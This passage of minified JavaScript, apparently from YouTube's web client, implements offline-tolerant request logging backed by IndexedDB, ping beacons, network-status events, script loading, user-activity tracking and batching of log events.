e.id)===void 0){m.lG(6);break}return g.v(m,x.aT.Xi(T.id,x.WS,!1),6);case 6:return m.return();case 2:if(x.aU&&x.aU("nwl_consider_error_code")&&!E&&x.potentialEsfErrorCounter>x.FS)return m.return();x.potentialEsfErrorCounter++;if(((l=T)==null?void 0:l.id)===void 0){m.lG(8);break}return T.sendCount<x.WK?g.v(m,x.aT.Xi(T.id,x.WS,!0,Z?!1:void 0),12):g.v(m,x.aT.xo(T.id,x.WS),8);case 12:x.Lt.v_(function(){x.rd.TV()&&x.Xf()},x.aD);
case 8:t(H,I),g.RV(m)}})};
var u=T.options.onSuccess?T.options.onSuccess:function(){};
T.options.onSuccess=function(H,I){var E;return g.G(function(Z){if(Z.C==1)return((E=T)==null?void 0:E.id)===void 0?Z.lG(2):g.v(Z,x.aT.xo(T.id,x.WS),2);x.rd.ER&&x.aU&&x.aU("vss_network_hint")&&x.rd.ER(!0);u(H,I);g.RV(Z)})};
return T};
nf=function(x,T){x.Yj&&!x.rd.TV()?x.Yj(T):x.handleError(T)};
GS=function(x){return!!x.WS||x.Ec};
CAi=function(x){var T;return(x=x==null?void 0:(T=x.error)==null?void 0:T.code)&&x>=400&&x<=599?!1:!0};
Qiq=function(x){var T;x=x==null?void 0:(T=x.error)==null?void 0:T.code;return!(x!==400&&x!==415)};
Or3=function(){if(as)return as();var x={};as=g.X3("LogsDatabaseV2",{wG:(x.LogsRequestsStore={Fs:2},x),shared:!1,upgrade:function(T,t,u){t(2)&&g.zG(T,"LogsRequestsStore",{keyPath:"id",autoIncrement:!0});t(3);t(5)&&(u=u.objectStore("LogsRequestsStore"),u.C.indexNames.contains("newRequest")&&u.C.deleteIndex("newRequest"),g.GG(u,"newRequestV2",["status","interface","timestamp"]));t(7)&&k$(T,"sapisid");t(9)&&k$(T,"SWHealthLog")},
version:9});return as()};
g$=function(x){return g.yb(Or3(),x)};
w9J=function(x,T){var t,u,H,I;return g.G(function(E){if(E.C==1)return t={startTime:(0,g.bo)(),infos:{transactionType:"YT_IDB_TRANSACTION_TYPE_WRITE"},ticks:{}},g.v(E,g$(T),2);if(E.C!=3)return u=E.Z,H=Object.assign({},x,{options:JSON.parse(JSON.stringify(x.options)),interface:g.pr("INNERTUBE_CONTEXT_CLIENT_NAME",0)}),g.v(E,g.vy(u,"LogsRequestsStore",H),3);I=E.Z;t.ticks.tc=(0,g.bo)();fQD(t);return E.return(I)})};
K4f=function(x,T){var t,u,H,I,E,Z,e,l;return g.G(function(m){if(m.C==1)return t={startTime:(0,g.bo)(),infos:{transactionType:"YT_IDB_TRANSACTION_TYPE_READ"},ticks:{}},g.v(m,g$(T),2);if(m.C!=3)return u=m.Z,H=g.pr("INNERTUBE_CONTEXT_CLIENT_NAME",0),I=[x,H,0],E=[x,H,(0,g.bo)()],Z=IDBKeyRange.bound(I,E),e="prev",g.R6("use_fifo_for_networkless")&&(e="next"),l=void 0,g.v(m,g.F3(u,["LogsRequestsStore"],{mode:"readwrite",c9:!0},function(d){return g.gm(d.objectStore("LogsRequestsStore").index("newRequestV2"),
{query:Z,direction:e},function(M){M.getValue()&&(l=M.getValue(),x==="NEW"&&(l.status="QUEUED",M.update(l)))})}),3);
t.ticks.tc=(0,g.bo)();fQD(t);return m.return(l)})};
X9m=function(x,T){var t;return g.G(function(u){if(u.C==1)return g.v(u,g$(T),2);t=u.Z;return u.return(g.F3(t,["LogsRequestsStore"],{mode:"readwrite",c9:!0},function(H){var I=H.objectStore("LogsRequestsStore");return I.get(x).then(function(E){if(E)return E.status="QUEUED",g.hS(I,E).then(function(){return E})})}))})};
x2H=function(x,T,t,u){t=t===void 0?!0:t;var H;return g.G(function(I){if(I.C==1)return g.v(I,g$(T),2);H=I.Z;return I.return(g.F3(H,["LogsRequestsStore"],{mode:"readwrite",c9:!0},function(E){var Z=E.objectStore("LogsRequestsStore");return Z.get(x).then(function(e){return e?(e.status="NEW",t&&(e.sendCount+=1),u!==void 0&&(e.options.compress=u),g.hS(Z,e).then(function(){return e})):g.SD.resolve(void 0)})}))})};
T25=function(x,T){var t;return g.G(function(u){if(u.C==1)return g.v(u,g$(T),2);t=u.Z;return u.return(t.delete("LogsRequestsStore",x))})};
oDi=function(x){var T,t;return g.G(function(u){if(u.C==1)return g.v(u,g$(x),2);T=u.Z;t=(0,g.bo)()-2592E6;return g.v(u,g.F3(T,["LogsRequestsStore"],{mode:"readwrite",c9:!0},function(H){return g.LM(H.objectStore("LogsRequestsStore"),{},function(I){if(I.getValue().timestamp<=t)return I.delete().then(function(){return g.nM(I)})})}),0)})};
tF3=function(){g.G(function(x){return g.v(x,p$m("LogsDatabaseV2"),0)})};
fQD=function(x){g.R6("nwl_csi_killswitch")||ce("networkless_performance",x,{sampleRate:1})};
uW5=function(x){return g.yb(s6q(),x)};
$2f=function(x){var T,t;g.G(function(u){if(u.C==1)return g.v(u,uW5(x),2);T=u.Z;t=(0,g.bo)()-2592E6;return g.v(u,g.F3(T,["SWHealthLog"],{mode:"readwrite",c9:!0},function(H){return g.LM(H.objectStore("SWHealthLog"),{},function(I){if(I.getValue().timestamp<=t)return I.delete().then(function(){return g.nM(I)})})}),0)})};
Hym=function(x){var T;return g.G(function(t){if(t.C==1)return g.v(t,uW5(x),2);T=t.Z;return g.v(t,T.clear("SWHealthLog"),0)})};
g.Be=function(x,T,t,u,H,I,E){H=H===void 0?"":H;I=I===void 0?!1:I;E=E===void 0?!1:E;if(x)if(t&&!g.N2())XE(new g.CS("Legacy referrer-scrubbed ping detected")),x&&iyf(x,void 0,{scrubReferrer:!0});else if(H)YD(x,T,"POST",H,u);else if(g.pr("USE_NET_AJAX_FOR_PING_TRANSPORT",!1)||u||E)YD(x,T,"GET","",u,void 0,I,E);else{b:{try{var Z=new QFH({url:x});if(Z.T?typeof Z.j!=="string"||Z.j.length===0?0:{version:3,O2:Z.j,hc:Yw(Z.C,"act=1","ri=1",pDJ(Z))}:Z.D&&{version:4,O2:Yw(Z.C,"dct=1","suid="+Z.K,""),hc:Yw(Z.C,
"act=1","ri=1","suid="+Z.K)}){var e=Vt(g.Lq(5,x));var l=!(!e||!e.endsWith("/aclk")||Cq(x,"ri")!=="1");break b}}catch(m){}l=!1}l?I2X(x)?(T&&T(),t=!0):t=!1:t=!1;t||iyf(x,T)}};
I2X=function(x,T){try{if(window.navigator&&window.navigator.sendBeacon&&window.navigator.sendBeacon(x,T===void 0?"":T))return!0}catch(t){}return!1};
iyf=function(x,T,t){t=t===void 0?{}:t;var u=new Image,H=""+EDJ++;We[H]=u;u.onload=u.onerror=function(){T&&We[H]&&T();delete We[H]};
t.scrubReferrer&&(u.referrerPolicy="no-referrer");u.src=x};
qrH=function(x){var T;return((T=document.featurePolicy)==null?0:T.allowedFeatures().includes("attribution-reporting"))?x+"&nis=6":x+"&nis=5"};
yq=function(){Dc||(Dc=new ou("yt.offline"));return Dc};
Zy3=function(x){if(g.R6("offline_error_handling")){var T=yq().get("errors",!0)||{};T[x.message]={name:x.name,stack:x.stack};x.level&&(T[x.message].level=x.level);yq().set("errors",T,2592E3,!0)}};
NR=function(){this.C=new Map;this.Z=!1};
Jc=function(){if(!NR.instance){var x=g.yJ("yt.networkRequestMonitor.instance")||new NR;g.DC("yt.networkRequestMonitor.instance",x);NR.instance=x}return NR.instance};
Cf=function(){g.wv.call(this);var x=this;this.Z=!1;this.C=UnD();this.C.listen("networkstatus-online",function(){if(x.Z&&g.R6("offline_error_handling")){var T=yq().get("errors",!0);if(T){for(var t in T)if(T[t]){var u=new g.CS(t,"sent via offline_errors");u.name=T[t].name;u.stack=T[t].stack;u.level=T[t].level;g.wF(u)}yq().set("errors",{},2592E3,!0)}}})};
j63=function(){if(!Cf.instance){var x=g.yJ("yt.networkStatusManager.instance")||new Cf;g.DC("yt.networkStatusManager.instance",x);Cf.instance=x}return Cf.instance};
g.Qq=function(x){x=x===void 0?{}:x;g.wv.call(this);var T=this;this.C=this.K=0;this.Z=j63();var t=g.yJ("yt.networkStatusManager.instance.listen").bind(this.Z);t&&(x.rateLimit?(this.rateLimit=x.rateLimit,t("networkstatus-online",function(){erC(T,"publicytnetworkstatus-online")}),t("networkstatus-offline",function(){erC(T,"publicytnetworkstatus-offline")})):(t("networkstatus-online",function(){T.dispatchEvent("publicytnetworkstatus-online")}),t("networkstatus-offline",function(){T.dispatchEvent("publicytnetworkstatus-offline")})))};
erC=function(x,T){x.rateLimit?x.C?(g.Du.L_(x.K),x.K=g.Du.v_(function(){x.j!==T&&(x.dispatchEvent(T),x.j=T,x.C=(0,g.bo)())},x.rateLimit-((0,g.bo)()-x.C))):(x.dispatchEvent(T),x.j=T,x.C=(0,g.bo)()):x.dispatchEvent(T)};
O5=function(){var x=Lf.call;pf||(pf=new g.Qq({fU9:!0,Ns9:!0}));x.call(Lf,this,{aT:{Gr:oDi,xo:T25,sI:K4f,uVy:X9m,Xi:x2H,set:w9J},rd:pf,handleError:function(T,t,u){var H,I=u==null?void 0:(H=u.error)==null?void 0:H.code;if(I===400||I===415){var E;XE(new g.CS(T.message,t,u==null?void 0:(E=u.error)==null?void 0:E.code),void 0,void 0,void 0,!0)}else g.wF(T)},
wK:XE,sendFn:l2J,now:g.bo,Yj:Zy3,Lt:g.XM(),zJ:"publicytnetworkstatus-online",zB:"publicytnetworkstatus-offline",B3:!0,P3:.1,FS:g.Pi("potential_esf_error_limit",10),aU:g.R6,jN:!(g.pS()&&g.nq(document.location.toString())!=="www.youtube-nocookie.com")});this.j=new g.mn;g.R6("networkless_immediately_drop_all_requests")&&tF3();Oef("LogsDatabaseV2")};
ff=function(){var x=g.yJ("yt.networklessRequestController.instance");x||(x=new O5,g.DC("yt.networklessRequestController.instance",x),g.R6("networkless_logging")&&g.wm().then(function(T){x.WS=T;JT3(x);x.j.resolve();x.B3&&Math.random()<=x.P3&&x.WS&&$2f(x.WS);g.R6("networkless_immediately_drop_sw_health_store")&&m2f(x)}));
return x};
m2f=function(x){var T;g.G(function(t){if(!x.WS)throw T=g.Ru("clearSWHealthLogsDb"),T;return t.return(Hym(x.WS).catch(function(u){x.handleError(u)}))})};
l2J=function(x,T,t,u){u=u===void 0?!1:u;T=g.R6("web_fp_via_jspb")?Object.assign({},T):T;g.R6("use_cfr_monitor")&&d2D(x,T);if(g.R6("use_request_time_ms_header"))T.headers&&Hi(x)&&(T.headers["X-Goog-Request-Time"]=JSON.stringify(Math.round((0,g.bo)())));else{var H;if((H=T.postParams)==null?0:H.requestTimeMs)T.postParams.requestTimeMs=Math.round((0,g.bo)())}t&&Object.keys(T).length===0?g.Be(x):T.compress?T.postBody?(typeof T.postBody!=="string"&&(T.postBody=JSON.stringify(T.postBody)),hc(x,T.postBody,
T,g.Ur,u)):hc(x,JSON.stringify(T.postParams),T,bP,u):g.Ur(x,T)};
w$=function(x,T){g.R6("use_event_time_ms_header")&&Hi(x)&&(T.headers||(T.headers={}),T.headers["X-Goog-Event-Time"]=JSON.stringify(Math.round((0,g.bo)())));return T};
d2D=function(x,T){var t=T.onError?T.onError:function(){};
T.onError=function(H,I){Jc().requestComplete(x,!1);t(H,I)};
var u=T.onSuccess?T.onSuccess:function(){};
T.onSuccess=function(H,I){Jc().requestComplete(x,!0);u(H,I)}};
g.Kf=function(x){this.config_=null;x?this.config_=x:enf()&&(this.config_=g.Is())};
g.Xw=function(x,T,t,u){function H(l){try{if((l===void 0?0:l)&&u.retry&&!u.networklessOptions.bypassNetworkless)I.method="POST",u.networklessOptions.writeThenSend?ff().writeThenSend(e,I):ff().sendAndWrite(e,I);else if(u.compress){var m=!u.networklessOptions.writeThenSend;if(I.postBody){var d=I.postBody;typeof d!=="string"&&(d=JSON.stringify(I.postBody));hc(e,d,I,g.Ur,m)}else hc(e,JSON.stringify(I.postParams),I,bP,m)}else g.R6("web_all_payloads_via_jspb")?g.Ur(e,I):bP(e,I)}catch(M){if(M.name==="InvalidAccessError")XE(Error("An extension is blocking network request."));
else throw M;}}
!g.pr("VISITOR_DATA")&&T!=="visitor_id"&&Math.random()<.01&&XE(new g.CS("Missing VISITOR_DATA when sending innertube request.",T,t,u));if(!x.isReady())throw x=new g.CS("innertube xhrclient not ready",T,t,u),g.wF(x),x;var I={headers:u.headers||{},method:"POST",postParams:t,postBody:u.postBody,postBodyFormat:u.postBodyFormat||"JSON",onTimeout:function(){u.onTimeout()},
onFetchTimeout:u.onTimeout,onSuccess:function(l,m){if(u.onSuccess)u.onSuccess(m)},
onFetchSuccess:function(l){if(u.onSuccess)u.onSuccess(l)},
onError:function(l,m){if(u.onError)u.onError(m)},
onFetchError:function(l){if(u.onError)u.onError(l)},
timeout:u.timeout,withCredentials:!0,compress:u.compress};I.headers["Content-Type"]||(I.headers["Content-Type"]="application/json");t="";var E=x.config_.tS;E&&(t=E);E=x.config_.mq||!1;var Z=YiJ(E,t,u);Object.assign(I.headers,Z);I.headers.Authorization&&!t&&E&&(I.headers["x-origin"]=window.location.origin);var e=uP(""+t+("/youtubei/"+x.config_.innertubeApiVersion+"/"+T),{alt:"json"});g.yJ("ytNetworklessLoggingInitializationOptions")&&MF3.isNwlInitialized?W5C().then(function(l){H(l)}):H(!1)};
g.uH=function(x,T,t){var u=g.xb();if(u&&T){var H=u.subscribe(x,function(){function I(){Th[H]&&T.apply&&typeof T.apply=="function"&&T.apply(t||window,E)}
var E=arguments;try{g.oR[x]?I():g.lP(I,0)}catch(Z){g.wF(Z)}},t);
Th[H]=!0;t1[x]||(t1[x]=[]);t1[x].push(H);return H}return 0};
AgV=function(x){var T=g.uH("LOGGED_IN",function(t){x.apply(void 0,arguments);g.$b(T)})};
g.$b=function(x){var T=g.xb();T&&(typeof x==="number"?x=[x]:typeof x==="string"&&(x=[parseInt(x,10)]),g.lg(x,function(t){T.unsubscribeByKey(t);delete Th[t]}))};
g.Hz=function(x,T){var t=g.xb();return t?t.publish.apply(t,arguments):!1};
PPC=function(x){var T=g.xb();if(T)if(T.clear(x),x)Rrf(x);else for(var t in t1)Rrf(t)};
g.xb=function(){return g.BX.ytPubsubPubsubInstance};
Rrf=function(x){t1[x]&&(x=t1[x],g.lg(x,function(T){Th[T]&&delete Th[T]}),x.length=0)};
g.iH=function(x,T,t){Sr3(x,T,t===void 0?null:t)};
Sr3=function(x,T,t){t=t===void 0?null:t;var u=cgD(x),H=document.getElementById(u),I=H&&Lf3(H),E=H&&!I;I?T&&T():(T&&(I=g.uH(u,T),T=""+g.f4(T),Yr5[T]=I),E||(H=U2f(x,u,function(){Lf3(H)||(GnH(H),g.Hz(u),g.lP(function(){PPC(u)},0))},t)))};
U2f=function(x,T,t,u){u=u===void 0?null:u;var H=g.Xn("SCRIPT");H.id=T;H.onload=function(){t&&setTimeout(t,0)};
H.onreadystatechange=function(){switch(H.readyState){case "loaded":case "complete":H.onload()}};
u&&H.setAttribute("nonce",u);g.yD(H,g.c9(x));x=document.getElementsByTagName("head")[0]||document.body;x.insertBefore(H,x.firstChild);return H};
cgD=function(x){var T=document.createElement("a");g.VD(T,x);x=T.href.replace(/^[a-zA-Z]+:\/\//,"//");return"js-"+Xq(x)};
IR=function(x,T){if(x===T)x=!0;else if(Array.isArray(x)&&Array.isArray(T))x=g.qv(x,T,IR);else if(g.p4(x)&&g.p4(T))a:if(g.YO(x).length!=g.YO(T).length)x=!1;else{for(var t in x)if(!IR(x[t],T[t])){x=!1;break a}x=!0}else x=!1;return x};
ZL=function(x){var T=g.FD.apply(1,arguments);if(!Es(x)||T.some(function(u){return!Es(u)}))throw Error("Only objects may be merged.");
T=g.S(T);for(var t=T.next();!t.done;t=T.next())qD(x,t.value)};
qD=function(x,T){for(var t in T)if(Es(T[t])){if(t in x&&!Es(x[t]))throw Error("Cannot merge an object into a non-object.");t in x||(x[t]={});qD(x[t],T[t])}else if(jq(T[t])){if(t in x&&!jq(x[t]))throw Error("Cannot merge an array into a non-array.");t in x||(x[t]=[]);byX(x[t],T[t])}else x[t]=T[t];return x};
byX=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next())t=t.value,Es(t)?x.push(qD({},t)):jq(t)?x.push(byX([],t)):x.push(t);return x};
Es=function(x){return typeof x==="object"&&!Array.isArray(x)};
jq=function(x){return typeof x==="object"&&Array.isArray(x)};
MD=function(x){g.W.call(this);this.Z=x};
A1=function(x){MD.call(this,!0);this.C=x};
rgm=function(x,T){g.W.call(this);var t=this;this.j=[];this.N=!1;this.Z=0;this.T=this.D=this.K=!1;this.ZZ=null;var u=(0,g.K4)(x,T);this.C=new g.wX(function(){return u(t.ZZ)},300);
g.y(this,this.C);this.S=this.J=Infinity};
zrD=function(x,T){if(!T)return!1;for(var t=0;t<T.length;t++){var u=T.item(t);if(u&&x.j.includes(u.identifier))return!0}return!1};
Pz=function(x){if(window.crypto&&window.crypto.getRandomValues)try{var T=Array(x),t=new Uint8Array(x);window.crypto.getRandomValues(t);for(var u=0;u<T.length;u++)T[u]=t[u];return T}catch(I){}T=Array(x);for(t=0;t<x;t++){u=Date.now();for(var H=0;H<u%23;H++)T[t]=Math.random();T[t]=Math.floor(Math.random()*256)}if(RR)for(t=1,u=0;u<RR.length;u++)T[t%x]^=T[(t-1)%x]/4^RR.charCodeAt(u),t++;return T};
g.Sq=function(x){x=Pz(x);for(var T=[],t=0;t<x.length;t++)T.push("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".charAt(x[t]&63));return T.join("")};
g.k9f=function(){return g.r7(Pz(16),function(x){return(x&15).toString(16)}).join("")};
FFf=function(){var x={};var T=x.VVW===void 0?!1:x.VVW;x=x.nR===void 0?!0:x.nR;if(g.yJ("_lact",window)==null){var t=parseInt(g.pr("LACT"),10);t=isFinite(t)?Date.now()-Math.max(t,0):-1;g.DC("_lact",t,window);g.DC("_fact",t,window);t==-1&&cz();g.Pc(document,"keydown",cz);g.Pc(document,"keyup",cz);g.Pc(document,"mousedown",cz);g.Pc(document,"mouseup",cz);T?g.Pc(window,"touchmove",function(){Yb("touchmove",200)},{passive:!0}):(g.Pc(window,"resize",function(){Yb("resize",200)}),x&&g.Pc(window,"scroll",
function(){Yb("scroll",200)}));
new UY(function(){Yb("mouse",100)});
g.Pc(document,"touchstart",cz,{passive:!0});g.Pc(document,"touchend",cz,{passive:!0})}};
Yb=function(x,T){Us[x]||(Us[x]=!0,g.Du.v_(function(){cz();Us[x]=!1},T))};
cz=function(){g.yJ("_lact",window)==null&&(FFf(),g.yJ("_lact",window));var x=Date.now();g.DC("_lact",x,window);g.yJ("_fact",window)==-1&&g.DC("_fact",x,window);(x=g.yJ("ytglobal.ytUtilActivityCallback_"))&&x()};
bH=function(){var x=g.yJ("_lact",window);return x==null?-1:Math.max(Date.now()-x,0)};
rQ=function(x){this.name=x};
zh=function(x){this.key=x};
hrq=function(){var x=this;this.C=new Map;this.j=new Map;this.Z=new Map;this.yF={gnv:function(){return new Map(x.C)}}};
kb=function(x,T){x.C.set(T.A4,T);var t=x.j.get(T.A4);if(t)try{t.mm(x.resolve(T.A4))}catch(u){t.wJ(u)}};
h1=function(x,T,t,u){u=u===void 0?!1:u;if(t.indexOf(T)>-1)throw Error("Deps cycle for: "+T);if(x.Z.has(T))return x.Z.get(T);if(!x.C.has(T)){if(u)return;throw Error("No provider for: "+T);}u=x.C.get(T);t.push(T);if(u.RV!==void 0)var H=u.RV;else if(u.bKv)H=u[FX]?vDC(x,u[FX],t):[],H=u.bKv.apply(u,g.U(H));else if(u.nL){H=u.nL;var I=H[FX]?vDC(x,H[FX],t):[];H=new (Function.prototype.bind.apply(H,[null].concat(g.U(I))))}else throw Error("Could not resolve providers for: "+T);t.pop();u.McU||x.Z.set(T,H);
return H};
vDC=function(x,T,t){return T?T.map(function(u){return u instanceof zh?h1(x,u.key,t,!0):h1(x,u,t)}):[]};
VG=function(){vz||(vz=new hrq);return vz};
LZ=function(){var x,T;return"h5vcc"in Gh&&((x=Gh.h5vcc.traceEvent)==null?0:x.traceBegin)&&((T=Gh.h5vcc.traceEvent)==null?0:T.traceEnd)?1:"performance"in Gh&&Gh.performance.mark&&Gh.performance.measure?2:0};
nZ=function(x){var T=LZ();switch(T){case 1:Gh.h5vcc.traceEvent.traceBegin("YTLR",x);break;case 2:Gh.performance.mark(x+"-start");break;case 0:break;default:$Z(T,"unknown trace type")}};
VF3=function(x){var T=LZ();switch(T){case 1:Gh.h5vcc.traceEvent.traceEnd("YTLR",x);break;case 2:T=x+"-start";var t=x+"-end";Gh.performance.mark(t);Gh.performance.measure(x,T,t);break;case 0:break;default:$Z(T,"unknown trace type")}};
G9H=function(x){var T,t;(t=(T=window).onerror)==null||t.call(T,x.message,"",0,0,x)};
LFf=function(x){var T=this;var t=t===void 0?0:t;var u=u===void 0?g.XM():u;this.j=t;this.scheduler=u;this.Z=new g.mn;this.C=x;for(x={UJ:0};x.UJ<this.C.length;x={Mk:void 0,UJ:x.UJ},x.UJ++)x.Mk=this.C[x.UJ],t=function(H){return function(){H.Mk.rB();T.C[H.UJ].A1=!0;T.C.every(function(I){return I.A1===!0})&&T.Z.resolve()}}(x),u=fS(t,aR(this,x.Mk)),this.C[x.UJ]=Object.assign({},x.Mk,{rB:t,
jobId:u})};
nDJ=function(x){var T=Array.from(x.C.keys()).sort(function(u,H){return aR(x,x.C[H])-aR(x,x.C[u])});
T=g.S(T);for(var t=T.next();!t.done;t=T.next())t=x.C[t.value],t.jobId===void 0||t.A1||(x.scheduler.L_(t.jobId),fS(t.rB,10))};
aR=function(x,T){var t;return(t=T.priority)!=null?t:x.j};
Bz=function(x){this.state=x;this.plugins=[];this.j=void 0;this.K={};gQ&&nZ(this.state)};
a2q=function(x,T){var t=T.filter(function(H){return Wz(x,H)===10}),u=T.filter(function(H){return Wz(x,H)!==10});
return x.K.D4Q?function(){var H=g.FD.apply(0,arguments);return g.G(function(I){if(I.C==1)return g.v(I,x.Dfu.apply(x,[t].concat(g.U(H))),2);x.xH.apply(x,[u].concat(g.U(H)));g.RV(I)})}:function(){var H=g.FD.apply(0,arguments);
x.Tnj.apply(x,[t].concat(g.U(H)));x.xH.apply(x,[u].concat(g.U(H)))}};
Wz=function(x,T){var t,u;return(u=(t=x.j)!=null?t:T.priority)!=null?u:0};
DL=function(x){gQ&&x&&nZ(x)};
yG=function(x){gQ&&x&&VF3(x)};
B2J=function(x,T,t){gD3&&console.groupCollapsed&&console.groupEnd&&(console.groupCollapsed("["+x.constructor.name+"] '"+x.state+"' to '"+T+"'"),console.log("with message: ",t),console.groupEnd())};
ND=function(x){if(g.R6("web_lifecycle_error_handling_killswitch"))return x();try{return x()}catch(T){G9H(T)}};
J1=function(x){Bz.call(this,x===void 0?"none":x);this.C=null;this.j=10;this.transitions=[{from:"none",n$:"application_navigating",action:this.T},{from:"application_navigating",n$:"none",action:this.D},{from:"application_navigating",n$:"application_navigating",action:function(){}},
{from:"none",n$:"none",action:function(){}}]};
WF3=function(){CZ||(CZ=new J1);return CZ};
QG=function(){var x=this;this.store={};this.C=0;this.Z={};this.yF={O$j:function(){return x.C}}};
fZ=function(x,T){var t=pZ(T);if(x.Z[t])return x.Z[t];var u=Object.keys(x.store)||[];if(u.length<=1&&pZ(T)===u[0])return u;for(var H=[],I=0;I<u.length;I++){var E=u[I].split("/");if(Os(T.auth,E[0])){var Z=T.isJspb;Os(Z===void 0?"undefined":Z?"true":"false",E[1])&&Os(T.cttAuthInfo,E[2])&&(Z=T.tier,Z=Z===void 0?"undefined":JSON.stringify(Z),Os(Z,E[3])&&H.push(u[I]))}}return x.Z[t]=H};
Os=function(x,T){return x===void 0||x==="undefined"?!0:x===T};
pZ=function(x){return[x.auth===void 0?"undefined":x.auth,x.isJspb===void 0?"undefined":x.isJspb,x.cttAuthInfo===void 0?"undefined":x.cttAuthInfo,x.tier===void 0?"undefined":x.tier].join("/")};
wQ=function(){this.K=this.C=this.Z=0;this.j=!1};
KZ=function(){var x=g.yJ("yt.logging.ims");x||(x=new QG,g.DC("yt.logging.ims",x));return x};
N23=function(){if(vTX()&&!D2X){var x=function(t){t=t.data;if(t.op==="serializedGelBatch"){var u=XX.get(t.key);u&&(ygH(t.serializedBatch,u.client,u.resolve,u.networklessOptions,u.isIsolated,u.useVSSEndpoint,u.dangerousLogToVisitorSession,u.requestsOutstanding),XX.delete(t.key))}},T=be();
T&&(T.addEventListener("message",x),T.onerror=function(){XX.clear()});
D2X=!0}};
f2J=function(x,T){if(x.endpoint==="log_event"){xx(x);var t=TM(x),u=JgH(x.payload)||"",H=CPH(u),I=200;if(H){if(H.enabled===!1&&!g.R6("web_payload_policy_disabled_killswitch"))return;I=Q63(H.tier);if(I===400){piX(x,T);return}}oY[t]=!0;t={cttAuthInfo:t,isJspb:!1,tier:I};KZ().storePayload(t,x.payload);OyX(T,!1,t,tP(u))}};
KF5=function(x,T,t){if(T.endpoint==="log_event"){xx(void 0,T);var u=TM(T,!0),H=CPH(x),I=200;if(H){if(H.enabled===!1&&!g.R6("web_payload_policy_disabled_killswitch"))return;I=Q63(H.tier);if(I===400){wiq(x,T,t);return}}oY[u]=!0;u={cttAuthInfo:u,isJspb:!0,tier:I};KZ().storePayload(u,FV(T.payload));OyX(t,!0,u,tP(x))}};
OyX=function(x,T,t,u){function H(){sC({writeThenSend:!0},T,t.tier)}
T=T===void 0?!1:T;u=u===void 0?!1:u;x&&(uw=new x);x=g.Pi("tvhtml5_logging_max_batch_ads_fork")||g.Pi("tvhtml5_logging_max_batch")||g.Pi("web_logging_max_batch")||100;var I=(0,g.bo)(),E=$x(T,t.tier),Z=E.K;u&&(E.j=!0);u=0;t&&(u=KZ().getSequenceCount(t));u>=1E3?H():u>=x?HW||(HW=iw(function(){H();HW=void 0},0)):I-Z>=10&&(Xif(T,t.tier),E.K=I)};
piX=function(x,T){if(x.endpoint==="log_event"){g.R6("more_accurate_gel_parser")&&KZ().storePayload({isJspb:!1},x.payload);xx(x);var t=TM(x),u=new Map;u.set(t,[x.payload]);var H=JgH(x.payload)||"";T&&(uw=new T);return new g.lf(function(I,E){uw&&uw.isReady()?xOf(u,uw,I,E,{bypassNetworkless:!0},!0,tP(H)):I()})}};
wiq=function(x,T,t){if(T.endpoint==="log_event"){xx(void 0,T);var u=TM(T,!0),H=new Map;H.set(u,[FV(T.payload)]);t&&(uw=new t);return new g.lf(function(I){uw&&uw.isReady()?Tx4(H,uw,I,{bypassNetworkless:!0},!0,tP(x)):I()})}};
TM=function(x,T){var t="";if(x.dangerousLogToVisitorSession)t="visitorOnlyApprovedKey";else if(x.cttAuthInfo){if(T===void 0?0:T){T=x.cttAuthInfo.token;t=x.cttAuthInfo;var u=new JT;t.videoId?u.setVideoId(t.videoId):t.playlistId&&T5(u,2,IY,cB(t.playlistId));EC[T]=u}else T=x.cttAuthInfo,t={},T.videoId?t.videoId=T.videoId:T.playlistId&&(t.playlistId=T.playlistId),qM[x.cttAuthInfo.token]=t;t=x.cttAuthInfo.token}return t};
sC=function(x,T,t){x=x===void 0?{}:x;T=T===void 0?!1:T;new g.lf(function(u,H){var I=$x(T,t),E=I.j;I.j=!1;Zx(I.Z);Zx(I.C);I.C=0;uw&&uw.isReady()?t===void 0&&g.R6("enable_web_tiered_gel")?oi3(u,H,x,T,300,E):oi3(u,H,x,T,t,E):(Xif(T,t),u())})};
oi3=function(x,T,t,u,H,I){var E=uw;t=t===void 0?{}:t;u=u===void 0?!1:u;H=H===void 0?200:H;I=I===void 0?!1:I;var Z=new Map,e=new Map,l={isJspb:u,cttAuthInfo:void 0,tier:H},m={isJspb:u,cttAuthInfo:void 0};if(u){T=g.S(Object.keys(oY));for(H=T.next();!H.done;H=T.next())H=H.value,e=g.R6("enable_web_tiered_gel")?KZ().smartExtractMatchingEntries({keys:[l,m],sizeLimit:1E3}):KZ().extractMatchingEntries({isJspb:!0,cttAuthInfo:H}),e.length>0&&Z.set(H,e),(g.R6("web_fp_via_jspb_and_json")&&t.writeThenSend||!g.R6("web_fp_via_jspb_and_json"))&&
delete oY[H];Tx4(Z,E,x,t,!1,I)}else{Z=g.S(Object.keys(oY));for(l=Z.next();!l.done;l=Z.next())l=l.value,m=g.R6("enable_web_tiered_gel")?KZ().smartExtractMatchingEntries({keys:[{isJspb:!1,cttAuthInfo:l,tier:H},{isJspb:!1,cttAuthInfo:l}],sizeLimit:1E3}):KZ().extractMatchingEntries({isJspb:!1,cttAuthInfo:l}),m.length>0&&e.set(l,m),(g.R6("web_fp_via_jspb_and_json")&&t.writeThenSend||!g.R6("web_fp_via_jspb_and_json"))&&delete oY[l];xOf(e,E,x,T,t,!1,I)}};
Xif=function(x,T){function t(){sC({writeThenSend:!0},x,T)}
x=x===void 0?!1:x;T=T===void 0?200:T;var u=$x(x,T),H=u===t$i||u===sx5?5E3:uMX;g.R6("web_gel_timeout_cap")&&!u.C&&(H=iw(function(){t()},H),u.C=H);
Zx(u.Z);H=g.pr("LOGGING_BATCH_TIMEOUT",g.Pi("web_gel_debounce_ms",1E4));g.R6("shorten_initial_gel_batch_timeout")&&j8&&(H=$OX);H=iw(function(){g.Pi("gel_min_batch_size")>0?KZ().getSequenceCount({cttAuthInfo:void 0,isJspb:x,tier:T})>=HSV&&t():t()},H);
u.Z=H};
